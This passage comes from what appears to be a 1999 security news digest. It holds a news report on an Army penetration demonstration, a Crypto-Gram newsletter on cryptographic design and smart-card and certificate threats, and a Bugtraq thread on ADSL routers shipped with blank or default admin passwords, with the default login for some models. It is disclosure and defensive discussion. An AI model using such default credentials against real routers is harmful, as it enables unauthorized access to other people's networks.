~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: William Knowles
http://www.fcw.com/pubs/fcw/1999/0412/web-mike-04-14-99.html
(Federal Computer Week) [4.14.99] Do you have a microphone or video camera
connected to your computer or network? If you value your privacy, turn
those devices off, a top Army computer protection official warned today.
Philip Loranger, chief of the Command and Control Protect Division in the
Army's Information Assurance Office, demonstrated how anyone can attack a
network and turn on any camera or microphones connected to that network
with what he called "not very sophisticated hacker tools'' downloaded from
the Internet.
Loranger, who conducted an attack on a dial-up military network in
Columbia, Md., from an Association of U.S. Army Information Assurance
symposium in Falls Church, Va., said the .mil system he managed to
penetrate -- and whose identity he would not disclose -- did not have any
intrusion-detection system despite the spurt of recent publicity about an
increase in hacker attacks. Using "point and click'' hacker tools,
Loranger said he cracked three out of seven passwords on the system.
Once inside the network, Loranger said he then probed the network and
discovered a "read/write password file'' that allowed him to delete the
"super-user'' password, allowing him to create a super-user password for
himself, giving him free reign over the system. Loranger said this then
allowed him to search the system for any microphones or cameras connected
to it and then turned them on. "I can capture conversations and bring them
back to my own computer,'' Loranger said, "and I can turn on video cameras
and bring pictures back.''
The Army conducted this "white-hat attack'' after warning the target
facility to expect it, Loranger explained, but the lack of
intrusion-detection devices did not provide the system's users with any
warning "until I launched a denial-of-service attack and brought the
system down.''
Loranger said he conducted the demonstration to emphasize that hackers use
information warfare attacks to do more than just cripple computers or
steal information located on the network. The networks also can serve as
real-time windows into the physical world outside the network.
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
35.0 Cryptogram Newsletter
~~~~~~~~~~~~~~~~~~~~~
CRYPTO-GRAM
April 15, 1999
by Bruce Schneier
President
Counterpane Systems
schneier@counterpane.com
http://www.counterpane.com
A free monthly newsletter providing summaries, analyses, insights, and
commentaries on cryptography and computer security.
Back issues are available at http://www.counterpane.com. To subscribe or
unsubscribe, see below.
Copyright (c) 1999 by Bruce Schneier
** *** ***** ******* *********** *************
In this issue:
Cryptography: The Importance of Not Being Different
News
Counterpane Systems -- Featured Research
Threats Against Smart Cards
Attacking Certificates with Computer Viruses
Counterpane Systems News
Comments from Readers
** *** ***** ******* *********** *************
Cryptography: The Importance of Not Being Different
Suppose your doctor said, "I realize we have antibiotics that are good at
treating your kind of infection without harmful side effects, and that
there are decades of research to support this treatment. But I'm going to
give you tortilla-chip powder instead, because, uh, it might work." You'd
get a new doctor.
Practicing medicine is difficult. The profession doesn't rush to embrace
new drugs; it takes years of testing before benefits can be proven, dosages
established, and side effects cataloged. A good doctor won't treat a
bacterial infection with a medicine he just invented when proven
antibiotics are available. And a smart patient wants the same drug that
cured the last person, not something different.
Cryptography is difficult, too. It combines mathematics, computer science,
sometimes electrical engineering, and a twisted mindset that can figure out
how to get around rules, break systems, and subvert the designers'
intentions. Even very smart, knowledgeable, experienced people invent bad
cryptography. In the crypto community, people aren't even all that
embarrassed when their algorithms and protocols are broken. That's how
hard it is.
Reusing Secure Components
Building cryptography into products is hard, too. Most cryptography
products on the market are insecure. Some don't work as advertised. Some
are obviously flawed. Others are more subtly flawed. Sometimes people
discover the flaws quickly, while other times it takes years (usually
because no one bothered to look for them). Sometimes a decade goes by
before someone invents new mathematics to break something.
This difficulty is made even more serious for several reasons. First,
flaws can appear anywhere. They can be in the trust model, the system
design, the algorithms and protocols, the implementations, the source code,
the human-computer interface, the procedures, the underlying computer
system. Anywhere.
Second, these flaws cannot be found through normal beta testing. Security
has nothing to do with functionality. A cryptography product can function
normally and be completely insecure. Flaws remain undiscovered until
someone looks for them explicitly.
Third, and most importantly, a single flaw breaks the security of the
entire system. If you think of cryptography as a chain, the system is only
as secure as its weakest link. This means that everything has to be
secure. It's not enough to make the algorithms and protocols perfect if
the implementation has problems. And a great product with a broken
algorithm is useless. And a great algorithm, protocol, and implementation
can be ruined by a flawed random number generator. And if there is a
security flaw in the code, the rest of it doesn't matter.
Given this harsh reality, the most rational design decision is to use as
few links as possible, and as high a percentage of strong links as
possible. Since it is impractical for a system designer (or even a design
team) to analyze a completely new system, a smart designer reuses
components that are generally believed to be secure, and only invents new
cryptography where absolutely necessary.
Trusting the Known
Consider IPSec, the Internet IP security protocol. Beginning in 1992, it
was designed in the open by committee and was the subject of considerable
public scrutiny from the start. Everyone knew it was an important protocol
and people spent a lot of effort trying to get it right. Security
technologies were proposed, broken, and then modified. Versions were
codified and analyzed. The first draft of the standard was published in
1995. Aspects were debated on security merits and on performance, ease of
implementation, upgradability, and use.
In November 1998, the committee published a pile of RFCs -- one in a series
of steps to make IPSec an Internet standard. And it is still being
studied. Cryptographers at the Naval Research Laboratory recently
discovered a minor implementation flaw. The work continues, in public, by
anyone and everyone who is interested.
On the other hand, Microsoft developed its own Point-to-Point Tunneling
Protocol (PPTP) to do much the same thing. They invented their own
authentication protocol, their own hash functions, and their own
key-generation algorithm. Every one of these items was badly flawed. They
used a known encryption algorithm, but they used it in such a way as to
negate its security. They made implementation mistakes that weakened the
system even further. But since they did all this work internally, no one
knew that their PPTP was weak.
Microsoft fielded PPTP in Windows NT and 95, and used it in their virtual
private network (VPN) products. It wasn't until summer of 1998 that
Counterpane Systems published a paper describing the flaws we found.
Microsoft quickly posted a series of fixes, which we have since evaluated
and found wanting. They don't fix things nearly as well as Microsoft would
like people to believe.
And then there is a company like TriStrata, which claimed to have a
proprietary security solution without telling anyone how it works (because
it's patent pending). You have to trust them. They claimed to have a new
algorithm and new set of protocols that are much better than any that exist
today. And even if they make their system public, the fact that they've
patented it and retain proprietary control means that many cryptographers
won't bother analyzing their claims.
Leveraging the Collective Strength
You can choose any of these three systems to secure your virtual private
network. Although it's possible for any of them to be flawed, you want to
minimize your risk. If you go with IPSec, you have a much greater
assurance that the algorithms and protocols are strong. Of course, the
product could still be flawed -- there could be an implementation bug or a
bug in any of the odd little corners of the code not covered in the IPSec
standards -- but at least you know that the algorithms and protocols have
withstood a level of analysis and review that the Microsoft and TriStrata
options have not.
Choosing the TriStrata system is like going to a doctor who has no medical
degree and whose novel treatments (which he refuses to explain) have no
support by the AMA. Sure, it's possible (although highly unlikely) that
he's discovered a totally new branch of medicine, but do you want to be the
guinea pig?
The point here is that the best security methods leverage the collective
analytical ability of the cryptographic community. No single company
(outside the military) has the financial resources necessary to evaluate a
new cryptographic algorithm or shake the design flaws out of a complex
protocol. The same holds true in cryptographic libraries. If you write
your own, you will probably make mistakes. If you use one that's public
and has been around for a while, some of the mistakes will have been found
and corrected.
It's hard enough making strong cryptography work in a new system; it's just
plain lunacy to use new cryptography when viable, long-studied alternatives
exist. Yet most security companies, and even otherwise smart and sensible
people, exhibit acute neophilia and are easily blinded by shiny new pieces
of cryptography.
Following the Crowd
At Counterpane Systems, we analyze dozens of products a year. We review
all sorts of cryptography, from new algorithms to new implementations. We
break the vast majority of proprietary systems and, with no exception, the
best products are the ones that use existing cryptography as much as possible.
Not only are the conservative choices generally smarter, but they mean we
can actually analyze the system. We can review a simple cryptography
product in a couple of days if it reuses existing algorithms and protocols,
in a week or two if it uses newish protocols and existing algorithms. If
it uses new algorithms, a week is barely enough time to get started.
This doesn't mean that everything new is lousy. What it does mean is that
everything new is suspect. New cryptography belongs in academic papers,
and then in demonstration systems. If it is truly better, then eventually
cryptographers will come to trust it. And only then does it make sense to
use it in real products. This process can take five to ten years for an
algorithm, less for protocols or source-code libraries. Look at the length
of time it is taking elliptic curve systems to be accepted, and even now
they are only accepted when more trusted alternatives can't meet
performance requirements.
In cryptography, there is security in following the crowd. A homegrown
algorithm can't possibly be subjected to the hundreds of thousands of hours
of cryptanalysis that DES and RSA have seen. A company, or even an
industry association, can't begin to mobilize the resources that have been
brought to bear against the Kerberos authentication protocol, for example.
No one can duplicate the confidence that PGP offers, after years of people
going over the code, line by line, looking for implementation flaws. By
following the crowd, you can leverage the cryptanalytic expertise of the
worldwide community, not just a few weeks of some analyst's time.
And beware the doctor who says, "I invented and patented this totally new
treatment that consists of tortilla-chip powder. It has never been tried
before, but I just know it is much better and I'm going to give it to you."
There's a good reason we call new cryptography "snake oil."
Acknowledgments
Thanks to Matt Blaze for the analogy that opened this column. This
originally appeared in the March 1999 issue of IEEE Computer.
** *** ***** ******* *********** *************
News
A new Pentagon study acknowledges that U.S. Defense Computers are highly
vulnerable to attack. Big surprise.
http://abcnews.go.com/sections/tech/dailyNews/hackerspentagon990322.html
The Security and Freedom through Encryption (SAFE) Act (H.R. 850) passed
the House Judiciary Committee in late March. It was a victory, since an
amendment -- proposed by Rep. McCollum (R-Fl) -- that would mandate key
escrow as a condition for export was blocked by Rep. Goodlatte (R-VA) on
jurisdictional grounds. Rep. Lofgren (D-CA), a co-author of the bill,
compared the amendment to the Administration's failed Clipper Chip. Things
will get tougher for the bill in other committees; it now moves to the
International Relations Committee, where an intense debate on the foreign
availability of encryption products is expected.
http://abcnews.go.com/sections/tech/CNET/cnet_cryptobill990324.html
http://www.wired.com/news/news/politics/story/18708.html
Background materials on the SAFE bill:
http://www.cdt.org/crypto/legis_106/SAFE/
Proposed McCollum Amendment:
http://www.cdt.org/legislation/106th/encryption/McCollum.html
CDT's testimony in support of SAFE:
http://www.cdt.org/crypto/alantestimony.shtml
The Wassenaar Arrangement is an attempt to enforce on other countries the
same kinds of limits on strong cryptography that the U.S. has. This only
makes sense if the U.S. is the only source of strong cryptography. But it
isn't -- overseas security software is now just as good as work done by
U.S. programmers. And some of the signatories are taking advantage of the
wiggle room to liberalize their policies.
http://www.wired.com/news/news/politics/story/19018.html
** *** ***** ******* *********** *************
Counterpane Systems -- Featured Research
"The Solitaire Encryption Algorithm"
Bruce Schneier, appendix to CRYPTONOMICON, by Neal Stephenson, Avon Books,
1999.
Computers have revolutionized the field of cryptography. It is
relatively easy to design a computer algorithm that is secure against
adversaries with unimaginable computing power. Less attention has been
paid to pencil and paper algorithms, suitable for people who don't have
access to a computer but still want to exchange secret messages. Solitaire
is an OFB stream cipher that encrypts and decrypts using an ordinary deck
of playing cards. Even so, it is secure against computer cryptanalysis.
http://www.counterpane.com/solitaire.html
** *** ***** ******* *********** *************
Threats Against Smart Cards
Smart cards are viewed by some as the "magic bullets" of computer security,
multipurpose tools that can be used for access control, e-commerce,
authentication, privacy protection and a variety of other applications.
While the flexibility of smart cards makes them an attractive option for
numerous business uses, it also multiplies the number of threats to their
overall security. To date, there has been little analysis of these
wide-ranging security risks.
Because of the large number of parties involved in any smart card-based
system, there are many classes of attacks to which smart cards are
susceptible. Most of these attacks are not possible in conventional,
self-contained computer systems, since they would take place within a
traditional computer's security boundary. But in the smart card world, the
following attacks all pose a legitimate threat.
Attacks by the Terminal Against the Cardholder or Data Owner
These are the easiest attacks to understand. When a cardholder puts his
card into a terminal, he trusts the terminal to relay any input and output
from the card accurately. Prevention mechanisms in most smart card systems
center around the fact that the terminal only has access to a card for a
short period of time. The real prevention mechanisms, though, have nothing
to do with the smart card/terminal exchange; they are the back-end
processing systems that monitor the cards and terminals and flag suspicious
behavior.
Attacks by the Cardholder Against the Terminal
More subtle are attacks by the cardholder against the terminal. These
involve fake or modified cards running rogue software with the intent of
subverting the protocol between the card and the terminal. Good protocol
design mitigates the risk of these kinds of attacks. The threat is further
reduced when the card contains hard-to-forge physical characteristics
(e.g., the hologram on a Visa card) that can be manually checked by the
terminal owner.
Attacks by the Cardholder Against the Data Owner
In many smart card-based commerce systems, data stored on a card must be
protected from the cardholder. In some cases, the cardholder is not
allowed to know that data. If the card is a stored-value card, and the
user can change the value, he can effectively mint money. There have been
many successful attacks against the data inside a card, such as fault
analysis, reverse-engineering, and side-channel attacks such as power and
timing analysis.
Attacks by the Cardholder Against the Issuer
There are many financial attacks that appear to be targeting the issuer,
but in fact are targeting the integrity and authenticity of data or
programs stored on the card. If card issuers choose to put bits that
authorize use of the system in a card, they should not be surprised when
those bits are attacked. These systems rest on the questionable assumption
that the security perimeter of a smart card is sufficient for their purposes.
Attacks by the Cardholder Against the Software Manufacturer
Generally, in systems where the card is issued to an assumed hostile user,
the assumption is that the card will not have new software loaded onto it.
The underlying assumption may be that the split between card owner and
software owner is unassailable. However, attackers have shown a remarkable
ability to get the appropriate hardware sent to them, often gratis, to aid
in launching an attack.
Attacks by the Terminal Owner Against the Issuer
In some systems, the terminal owner and card issuer are different parties.
This split introduces several new attack possibilities. The terminal
controls all communication between the card and card issuer, and can always
falsify records or fail to complete one or more steps of a transaction in
an attempt to facilitate fraud or create customer service difficulties for
the issuer.
Attacks by the Issuer Against the Cardholder
In general, most systems presuppose that the card issuer has the best
interests of the cardholder at heart. But this is not necessarily the
case. These attacks are typically privacy invasions of one kind or
another. Smart card systems that serve as a substitute for cash must be
designed very carefully to maintain the essential properties of cash money:
anonymity and unlinkability.
Attacks by the Manufacturer Against the Data Owner
Certain designs by manufacturers may have substantial and detrimental
effects on the data owners in a system. By providing an operating system
that allows (or even encourages) multiple users to run programs on the same
card, a number of new security issues are opened up, such as subversion of
the operating system, intentionally poor random number generators or one
application on a smart card subverting another application running on the
same card.
Securing smart-card systems means recognizing these attacks and designing
them into a system. In the best systems, it doesn't manner if (for
example) the user can hack the card. It's very Zen: work with the security
model, not against it.
Adam Shostack is director of technology at Netect Inc.
Full paper: http://www.counterpane.com/smart-card-threats.html
** *** ***** ******* *********** *************
Attacking Certificates with Computer Viruses
How do you know an e-mail is authentic? You verify the digital signature,
of course. This means that you verify that the message was correctly
signed, using the sender's public key. How do you know that the sender's
(call her Alice) public key is valid? You check the signature on *that*
public key.
What you're checking is called a certificate. Someone else, call him Bob,
signs Alice's public key and confirms that it is valid. So you verify
Bob's signature on Alice's certificate, so you can verify Alice's signature
on her e-mail.
Okay, how do you know that Bob's signature is valid? Maybe Carol signs her
key (creating another certificate). That doesn't actually solve the
problem; it just moves it up another layer. Or maybe Bob also signed your
key, so you know to trust him. Or maybe Carol signed someone else's key
who signed your key. In the end, you have to trust someone.
This notion of a certificate chain is one of the biggest problems with
public-key cryptography, and one that isn't talked about very much. PGP
uses the notion of "trusted introducers"; Bob signs Alice's key because Bob
knows Alice and is her friend. You signed Bob's key for the same reason.
So when Alice sends you an e-mail you can note that her public key is
signed by Bob, and you trust Bob to introduce you to people. (Much like
Bob bringing Alice along to your party.)
Other Internet protocols -- S/MIME, SSL, etc. -- take a more hierarchical
approach. You probably got your public key signed by a company like
Verisign. A Web site's SSL public key might have been signed by Netscape.
Microsoft signs public keys used to sign pieces of ActiveX code you might
download from the net.
These so-called "root-level certificates" come hard-wired into your
browser. So when you try to establish an SSL connection with some Web
site, that Web site sends you its public-key certificate. You check to see
if that certificate is signed (using the public key in your browser); if it
is, you're happy. The you-have-to-trust-someone public keys are the ones
that come with your software. You trust them implicitly, with no outside
verification.
So if you're a paranoid computer-security professional, the obvious
question to ask is: can a rogue piece of software replace the root-level
certificates in my browser and trick me into trusting someone? Of course
it can.
It's even weirder than that. Researchers Adi Shamir and Nico van Someren
looked at writing programs that automatically search for public-key
certificates and replace them with phony ones. It turns out that the
randomness characteristics of a public key make them stick out like sore
thumbs, so they're easy to find.
This attack isn't without problems. If a virus replaces the root Netscape
certificate with a phony one, it can trick you into believing a fake
certificate is valid. But that replacement certificate can't verify any
real certificates, so you'll also believe that every real certificate is
invalid. (Hopefully, you'll notice this.) But it works well with
Microsoft's Authenticode. Microsoft had the foresight to include two
root-level Authenticode certificates, presumably for if one ever gets
compromised. But the software is designed to authenticate code if even one
checks out. So a virus can replace the Authenticode spare certificate.
Now rogue software signed with this rogue certificate verifies as valid,
and real software signed by valid Microsoft-approved companies still checks
out as valid.
This virus doesn't exist yet, but it could be written.
An okay story on the topic:
http://www.techweb.com/wire/story/TWB19990315S0001
The actual research paper:
http://www.ncipher.com/products/files/papers/anguilla/keyhide2.pdf
** *** ***** ******* *********** *************
Counterpane Systems News
John Wiley & Sons has published a book about the Twofish encryption
algorithm. The book contains all the information in the initial Twofish
submission and the first three Twofish tech reports, expanded and
corrected. It lists for $50, but I am offering it at a 20% discount.
http://www.counterpane.com/twofish-book.html
CardTech/SecureTech '99. Bruce Schneier will host and speak at the
Cryptography Technology panel at CardTech/SecureTech, on Wednesday
afternoon, May 14, in Chicago.
http://www.ctst.com
NetSec '99. Bruce Schneier will give the keynote speech at NetSec '99, a
computer security conference (June 14-16, in St. Louis). Even though
Bruce's talk will be at 8:00 in the morning on Tuesday, it will be
interesting. Schneier will also be speaking about securing legacy
applications at 2:00 that afternoon.
http://www.gocsi.com/conf.htm
The Black Hat Briefings '99 is a Computer Security Conference scheduled for
July 7 and 8 in Las Vegas, Nevada. DefCon is a hackers convention held the
weekend after. Bruce Schneier will be speaking at both.
http://www.blackhat.com/
http://www.defcon.org/
** *** ***** ******* *********** *************
Comments from Readers
From: Paul Shields
Subject: Home-made Cryptographic Algorithms
But it is not the "try to develop new algorithms" that is the danger so
much as the belief that it is safe to deploy those algorithms; and since
the designers are not always the decision makers, while the designer of an
algorithm can see its academic learning-by-doing value, the decision maker
can perhaps only see property to sell. Sadly, those decision makers are
business people who are not often well-acquainted with mathematical proofs,
and instead focus on risk and profit.
If no one ever tries to break it, the algorithm may not be secure; but if
the fact is that even after limited deployment no competent person ever
again tries to break it, then to the business mind that risk is covered.
I have to admit that in my youth I wrote a crypto application that, while
horribly insecure even to my untrained eyes, was unfortunately put into
service by just such a decision maker. The story goes that it was actually
used to protect highly sensitive information and that it passed a committed
attempt to break it; but this did not help me sleep at night.
To convince them I think such people need really compelling stories of such
systems that have fallen, at enormous cost to those who trusted them.
From: George Stults
Subject: Peer Review vs. Secrecy
I was thinking about a point that you have made many times, namely that if
you don't use a published, peer reviewed, and analysed cryptographic
method, you are taking a big chance; it could be a good method, but the
odds are against it.
It occurs to me that there is another calculation you could make here.
Namely that a well known and widely adopted method such as DES is worth a
great deal more of effort to break. Enough so that special purpose
hardware becomes justifiable to break it, as in the recently publicized
machine which broke (40 bit key?) DES.
And the opposite would seem to be true of obscure methods.
Any agency that must deal with a large volume of cryptographic material
would surely prioritize its efforts. An unknown method requiring extra
time and effort to attack would seem less likely to get the required
attention. In effect, security by obscurity. The writers of the UK
security document (referenced in a previous issue) seemed to say as much.
From: Dave Emery
Subject: Insecure Mobile Communications
Some of us whose hobby is poking around the RF spectrum to explore what is
out there have been trying to make this point about a number of widely used
rf links for many many years. Nice to see the issue hit something a bit
more mainstream.
Most of the MDTs used by police departments are not encrypted in any
meaningful sense, all the complexity of their signal formats is there to
provide error correction and detection and efficient use of the radio
spectrum. VHF and UHF rf links to moving vehicles are prone to both high
error rates and bursts of errors (fades) and both MDT and pager protocols
were designed to use very heavy (rate 1/2 or more) forward error correction
and interleaving to help cope with this. This and the synchronous
transmission mode used to reduce overall bandwidth make MDT signals complex
and non-standard by comparison with simple ASCII async start stop stuff.
And some of the providers were silly enough to sell customers on the
"security" of their systems by trying to convince them that the error
correcting, interleaved, randomized (scrambled, for better signal
statistics, not security), signals were so complex that nobody would be
able to figure them out.
But if you think that police MDTs running in the open are somewhat
shocking, you should also realize that virtually all pager traffic,
including email sent via pager systems, is also completely unencrypted and
transmitted using protocols designed for robustness in high error
environments rather than security. And software for monitoring pagers with
a scanner has also been widely circulated around the net for several years.
Included is the capability to target particular pagers or monitor
everything on the channel and grep for interesting traffic.
And the Mobitex protocol used by ARDIS and RAM mobile for wireless email is
another example of something that is complex for error correction and
robustness but has essentially no security. And software for monitoring
this circulates around the net as well. ARDIS does use XORing with a 32
bit constant of the day to provide some fig leaf of security, but obviously
determining the constant is trivial...
And this only scratches the surface of what can be found out in the ether
and intercepted with relatively simple gear and some software ingenuity...
** *** ***** ******* *********** *************
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe,
visit http://www.counterpane.com/unsubform.html. Back issues are available
on http://www.counterpane.com.
Please feel free to forward CRYPTO-GRAM to colleagues and friends who will
find it valuable. Permission is granted to reprint CRYPTO-GRAM, as long as
it is reprinted in its entirety.
CRYPTO-GRAM is written by Bruce Schneier. Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms. He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW. He
is a frequent writer and lecturer on cryptography.
Counterpane Systems is a six-person consulting firm specializing in
cryptography and computer security. Counterpane provides expert consulting
in: design and analysis, implementation and testing, threat modeling,
product research and forecasting, classes and training, intellectual
property, and export consulting. Contracts range from short-term design
evaluations and expert opinions to multi-year development efforts.
http://www.counterpane.com/
Copyright (c) 1999 by Bruce Schneier
@HWA
36.0 default passwords on ADSL routers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Message-ID: <19990414190206Z36800-18269+1298@BRIMSTONE.NETSPACE.ORG>
Date: Wed, 14 Apr 1999 19:01:35 +0000
Reply-To: Brad Zimmerman
Sender: Bugtraq List
From: Brad Zimmerman
Subject: aDSL routers
To: BUGTRAQ@netspace.org
This is also true on USWest's Cisco 675. Password is (hit the enter
key)... However, as far as I know, all ISP's using Cisco 675's are set
into bridging mode, which doesn't allow any remote access to the Cisco
675, save the serial cable.
Older USWest equipment, the Netspeed 202 and 204, used a default user name
(root) and a default password is (hit the Enter key)...
For both routers, the Netspeed and Cisco, the default password/login is listed right in the manual, for anyone to see.
In the future, I believe USWest intends to have customers set their Cisco
675's into routing mode. Or, at the very least, ISP's will begin supporting PPP over Ethernet, which means the Cisco routers are set into routing mode, which will make many thousand customers vulnerable due to unauthorized remote access. I believe (but not sure) that Verio has the ability to let customers set their modems into routing mode (using PPP over Ethernet)...
USWest *has* detailed changes to the Cisco 675, noting it's ability to do
do PPP over Ethernet along with what is required at the ISP end to perform
PPP over Ethernet.
> Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no
> admin password. It's in the documentation, so I assume the
> company already knows about this vulnerability:) System managers
> who have aDSL access often overlook this, so I thought I'd point it out.
> A quick fix: disable telnet access to all of your aDSL router IP's.
> Better fix: set an admin password.
Brad Zimmerman
http://fubar.europa.com
"Taking over the world, one computer at a time."
Approved-By: aleph1@UNDERGROUND.ORG
Message-ID:
Date: Wed, 14 Apr 1999 18:01:07 -0400
Reply-To: Truman Boyes
Sender: Bugtraq List
From: Truman Boyes
Subject: Re: aDSL routers
There are two levels of access on these units. Basic telnet access will
provide limited commandset. These would leave the user with the ability to
'ping', list system info, show processes, and list the routing table.
There is another level which provides more options and rights is available
only by logging into the unit with password from the command line
interface.
Like most routers on networks, access should be restricted with access
control lists. You can set this by using 'system addTelnetFilter' and
specifying an IP range.
Version Tested:
FlowPoint/2200 SDSL [ATM] Router
FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
.truman.boyes.
On Tue, 13 Apr 1999, David Brumley wrote:
> Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no
> admin password. It's in the documentation, so I assume the
> company already knows about this vulnerability:) System managers
> who have aDSL access often overlook this, so I thought I'd point it out.
> A quick fix: disable telnet access to all of your aDSL router IP's.
> Better fix: set an admin password.
>
> Version tested:
> FlowPoint/2000 ADSL Router
> FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
> Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998
>
> Cheers,
> -db
>
Approved-By: aleph1@UNDERGROUND.ORG
References:
Lines: 32
X-Mailer: Gnus v5.6.45/Emacs 20.3
Message-ID:
Date: Wed, 14 Apr 1999 18:55:29 -0400
Reply-To: Chris Shenton
Sender: Bugtraq List
From: Chris Shenton
Subject: Re: aDSL routers
On Tue, 13 Apr 1999 23:01:50 -0700, David Brumley said:
David> And at least one manufacturer, flowpoint, sets no admin
David> password. It's in the documentation, so I assume the company
David> already knows about this vulnerability:) System managers who
David> have aDSL access often overlook this, so I thought I'd point it
David> out. A quick fix: disable telnet access to all of your aDSL
David> router IP's. Better fix: set an admin password.
I have a couple other concerns on my 2200 (firmware 3.0.2).
My carrier, Covad, did set a password but it's too easy. You can
restrict IP access to telnet like:
system addTelnetFilter first.host.ip.addr [last.host.ip.addr]
You should also do this for SNMP since it's available to the world
with community "public":
system addSNMPFilter first.host.ip.addr [last.host.ip.addr]
I restrict these to my LAN.
Have you tried an nmap scan on it? It reports "trivial joke" for TCP
sequence predictability. Should allow bad guys to hijack sessions.
Doubleplusungood. I've gotten no feedback from comp.dcom.xdsl or
support@flowpoint.com.
If anyone has clues to protect this I'd like to hear 'em but I fear
it'll require new code and firmware from Flowpoint and they're not
being responsive.
Approved-By: aleph1@UNDERGROUND.ORG
Received: from flowpoint.com (flowpnt.flowpoint.com [209.31.4.42]) by
netspace.org (8.8.7/8.8.7) with ESMTP id VAA28019 for
; Wed, 14 Apr 1999 21:13:28 -0400
Received: from localhost (pmr@localhost) by flowpoint.com (8.8.7/8.8.4) with
SMTP id SAA29902; Wed, 14 Apr 1999 18:07:59 -0700
X-Sender: pmr@flowpnt
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:
Date: Wed, 14 Apr 1999 18:07:59 -0700
Reply-To: Philip Rakity
Sender: Bugtraq List
From: Philip Rakity
Subject: FlowPoint ADSL Reported Problem
X-To: dbrumley@goju.stanford.edu
X-cc: Dano Ybarra ,
Stewart Hulett
To: BUGTRAQ@netspace.org
In-Reply-To: <01BE869B.D4D2F300.ROGER@FLOWPOINT.COM>
Recently there was a note in the bug list (below) indicating that
FlowPoint Routers do not set an administration password. This statement
is false, but the vulnerability of the router to folks not changing the
default router password is well known.
Our GUI asks the user to change the password.
Release 3.0.2 onwards requires the user to enter the password
to access any information via the console or telnet.
Access control to the router via telnet and snmp can be controlled via
access lists using the command
system addtelnetfilter
system addsnmpfilter
The SNMP Community name can be changed as well as the ports used to access
Telnet and SNMP. In addition, access to the router via SNMP and Telnet
can be turned off. The commands
system telnetport
system snmpport
A of 0 stops access to the router.
In addition, an IP Filtering package similar to the Linux Firewall
capability is available as an option.
kind regards,
Philip Rakity
Vice President Product Development
FlowPoint Corporation
180 Knowles Drive
Suite 100
Los Gatos, CA 95030
USA
e-mail: pmr@flowpoint.com
phone: +1 (408) 364-8300
fax: +1 (408) 364-8301
>
> -----Original Message-----
> From: David Brumley [SMTP:dbrumley@GOJU.STANFORD.EDU]
> Sent: Tuesday, April 13, 1999 11:02 PM
> Subject: aDSL routers
>
> Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no
> admin password. It's in the documentation, so I assume the
> company already knows about this vulnerability:) System managers
> who have aDSL access often overlook this, so I thought I'd point it out.
> A quick fix: disable telnet access to all of your aDSL router IP's.
> Better fix: set an admin password.
>
> Version tested:
> FlowPoint/2000 ADSL Router
> FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
> Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998
>
> Cheers,
> -db
>
Approved-By: aleph1@UNDERGROUND.ORG
Received: from goju.Stanford.EDU (Goju.Stanford.EDU [171.64.12.46]) by
netspace.org (8.8.7/8.8.7) with ESMTP id XAA17148 for
; Wed, 14 Apr 1999 23:34:26 -0400
Received: (from dbrumley@localhost) by goju.Stanford.EDU (C.3.P0/8.8.8) id
UAA03501; Wed, 14 Apr 1999 20:33:41 -0700 (PDT)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:
Date: Wed, 14 Apr 1999 20:33:41 -0700
Reply-To: David Brumley
Sender: Bugtraq List
From: David Brumley
Subject: Re: FlowPoint ADSL Reported Problem
X-To: Philip Rakity
X-cc: Dano Ybarra ,
Stewart Hulett
To: BUGTRAQ@netspace.org
In-Reply-To:
>
> Recently there was a note in the bug list (below) indicating that
> FlowPoint Routers do not set an administration password. This statement
> is false, but the vulnerability of the router to folks not changing the
> default router password is well known.
What's false about the statement? Is there or is there not either
a. a universal password (say, admin) as some reported
b. no password at all
and full telnet access open by default?
>
> Our GUI asks the user to change the password.
And suppose your GUI isn't supported on my OS?
>
> Release 3.0.2 onwards requires the user to enter the password
> to access any information via the console or telnet.
>
[--snip--]
Okay, here starts the recommendation for *admins*. This is exactly what I
was pointing out. Thanks for giving examples.
However, it has nothing to do with your product doing something bad in the
first place. Out of the box I can control your router.
Why don't you disable SNMP and telnet when a password isn't set like some
router companies? Or perhaps have the default password unique to each
machine...say the serial number and turn off SNMP completely? This would
limit the threat to those with physical access, and considering where most
aDSL's are found, i don't think it'd be a big problem. Half a dozen other
possible solutions spring to mind. Offline I'd be happy to discuss them
with you.
Incident response teams all over have noted that users with cable modems
have been targeted by some nefarious individuals. As aDSL moves into this
market, naturally the kiddies will want to take advantage of it. This is
the number one reason you, me, and every other aDSL user should be
concerned.
Cheers,
-db
> >
> > -----Original Message-----
> > From: David Brumley [SMTP:dbrumley@GOJU.STANFORD.EDU]
> > Sent: Tuesday, April 13, 1999 11:02 PM
> > Subject: aDSL routers
> >
> > Welp, aDSL is here. And at least one manufacturer, flowpoint, sets no
> > admin password. It's in the documentation, so I assume the
> > company already knows about this vulnerability:) System managers
> > who have aDSL access often overlook this, so I thought I'd point it out.
> > A quick fix: disable telnet access to all of your aDSL router IP's.
> > Better fix: set an admin password.
> >
> > Version tested:
> > FlowPoint/2000 ADSL Router
> > FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
> > Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998
> >
> > Cheers,
> > -db
> >
>
>
@HWA
37.0 Another bug in Midnight Commander/crontab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
